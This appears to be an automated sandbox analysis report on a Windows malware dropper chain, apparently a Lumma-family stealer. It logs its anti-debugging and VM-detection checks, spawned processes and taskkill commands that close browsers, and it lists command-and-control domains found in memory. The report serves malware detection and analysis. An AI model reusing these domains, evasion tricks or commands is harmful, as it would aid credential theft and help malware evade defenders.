Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7740	Thread sleep count: 356 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7740	Thread sleep time: -10680000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7756	Thread sleep count: 991 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7756	Thread sleep time: -1982991s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7780	Thread sleep count: 1044 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7780	Thread sleep time: -2089044s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7856	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7772	Thread sleep count: 955 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7772	Thread sleep time: -1910955s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7768	Thread sleep count: 71 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7768	Thread sleep time: -142071s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe TID: 7944	Thread sleep count: 87 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe TID: 7944	Thread sleep time: -174087s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe TID: 7960	Thread sleep count: 98 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe TID: 7960	Thread sleep time: -196098s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe TID: 8040	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe TID: 7956	Thread sleep count: 92 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe TID: 7956	Thread sleep time: -184092s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe TID: 7940	Thread sleep count: 9175 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe TID: 7940	Thread sleep time: -18359175s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe TID: 7968	Thread sleep count: 99 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe TID: 7968	Thread sleep time: -198099s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe TID: 7964	Thread sleep count: 97 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe TID: 7964	Thread sleep time: -194097s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe TID: 8100	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe TID: 8104	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe TID: 8176	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe TID: 4856	Thread sleep time: -46023s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe TID: 5740	Thread sleep time: -42021s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe TID: 4080	Thread sleep time: -36000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe TID: 3120	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe TID: 1220	Thread sleep time: -32016s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe TID: 7188	Thread sleep time: -36018s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe TID: 7192	Thread sleep time: -46023s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe TID: 5756	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe TID: 7172	Thread sleep time: -44022s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe TID: 2672	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe TID: 2844	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe TID: 6944	Thread sleep count: 211 > 30
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe TID: 6944	Thread sleep time: -1266000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe TID: 3888	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe TID: 4012	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe TID: 5968	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\file.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	File opened: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	File opened: C:\Users\user\AppData\Local\Temp\1007497001	Jump to behavior

Source: skotes.exe, skotes.exe, 00000002.00000002.1767800583.0000000000EF9000.00000040.00000001.01000000.00000007.sdmp, 074873f122.exe, 00000008.00000002.2919228189.00000000069CE000.00000040.00000800.00020000.00000000.sdmp, 074873f122.exe, 00000008.00000002.2843959158.0000000001189000.00000040.00000001.01000000.0000000A.sdmp, 2a8ef8d829.exe, 0000001C.00000002.2862120246.0000000000E2E000.00000040.00000001.01000000.00000013.sdmp, 2a8ef8d829.exe, 00000025.00000002.2958683560.0000000000E2E000.00000040.00000001.01000000.00000013.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 074873f122.exe, 00000008.00000002.2859091060.0000000001A29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\8O
Source: 074873f122.exe, 00000008.00000002.2859091060.0000000001A29000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 074873f122.exe, 00000008.00000002.2859091060.00000000019FA000.00000004.00000020.00020000.00000000.sdmp, 074873f122.exe, 00000008.00000003.2755595870.0000000001A2B000.00000004.00000020.00020000.00000000.sdmp, 074873f122.exe, 00000008.00000002.2859091060.0000000001A29000.00000004.00000020.00020000.00000000.sdmp, 074873f122.exe, 00000008.00000003.2773285404.0000000001A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1736957628.0000000000D09000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1765855698.0000000000EF9000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1767800583.0000000000EF9000.00000040.00000001.01000000.00000007.sdmp, 074873f122.exe, 00000008.00000002.2919228189.00000000069CE000.00000040.00000800.00020000.00000000.sdmp, 074873f122.exe, 00000008.00000002.2843959158.0000000001189000.00000040.00000001.01000000.0000000A.sdmp, 2a8ef8d829.exe, 0000001C.00000002.2862120246.0000000000E2E000.00000040.00000001.01000000.00000013.sdmp, 2a8ef8d829.exe, 00000025.00000002.2958683560.0000000000E2E000.00000040.00000001.01000000.00000013.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: chrome.exe, 00000022.00000002.2924658302.000001B609868000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Anti Debugging

Source: C:\Windows\SysWOW64\taskkill.exe

System information queried: CodeIntegrityInformation

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\DocumentsJDGCFBAFBF.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe

System information queried: KernelDebuggerInformation

Yara detected Powershell download and execute

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsJDGCFBAFBF.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsJDGCFBAFBF.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsJDGCFBAFBF.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04F70CDC rdtsc

0_2_04F70CDC

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe

Memory protected: page guard

HIPS / PFW / Operating System Protection Evasion

Source: Yara match	File source: Process Memory Space: 7afc94686a.exe PID: 4124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7afc94686a.exe PID: 6932, type: MEMORYSTR

LummaC encrypted strings found

Source: 074873f122.exe, 00000008.00000002.2840642323.0000000000FA1000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: 074873f122.exe, 00000008.00000002.2840642323.0000000000FA1000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: 074873f122.exe, 00000008.00000002.2840642323.0000000000FA1000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: peepburry828.sbs
Source: 074873f122.exe, 00000008.00000002.2840642323.0000000000FA1000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: p10tgrace.sbs
Source: 074873f122.exe, 00000008.00000002.2840642323.0000000000FA1000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe "C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe "C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe "C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe "C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe "C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=074873f122.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJDGCFBAFBF.exe"
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=074873f122.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsJDGCFBAFBF.exe "C:\Users\user\DocumentsJDGCFBAFBF.exe"

Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: ad0f88d42c.exe, 0000000C.00000002.2708799155.0000000000C42000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: file.exe, 00000000.00000002.1736957628.0000000000D09000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000001.00000002.1765855698.0000000000EF9000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000002.00000002.1767800583.0000000000EF9000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: uProgram Manager
Source: 074873f122.exe, 00000008.00000002.2919228189.00000000069CE000.00000040.00000800.00020000.00000000.sdmp, 2a8ef8d829.exe, 0000001C.00000002.2865345236.0000000000E71000.00000040.00000001.01000000.00000013.sdmp	Binary or memory string: Program Manager
Source: skotes.exe	Binary or memory string: \ uProgram Manager
Source: 074873f122.exe, 00000008.00000002.2843959158.0000000001189000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: 0Program Manager

Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe VolumeInformation	Jump to behavior
